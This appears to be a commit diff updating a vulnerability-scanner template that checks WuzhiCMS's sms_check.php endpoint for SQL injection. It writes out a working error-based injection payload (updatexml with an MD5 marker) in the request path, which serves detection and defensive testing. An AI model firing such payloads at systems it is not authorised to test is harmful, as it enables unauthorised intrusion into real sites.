Update wuzhicms-sqli.yaml

vulnerabilities/other/wuzhicms-sqli.yaml

@@ -8,18 +8,21 @@ info:
     - https://github.com/wuzhicms/wuzhicms/issues/184
   tags: wuzhicms,sqli
 
+variables:
+  num: "999999999"
+
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20MD5(1234)),0x7e),1)--%20"
+      - "{{BaseURL}}/api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20MD5({{num}})),0x7e),1)--%20"
+
     matchers-condition: and
     matchers:
+      - type: word
+        words:
+          - '{{md5({{num}})}}'
+        part: body
+
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - "81dc9bdb52d04dc20036dbd8313ed05"
-          - "sql_error:MySQL Query Error"
-        part: body
-        condition: and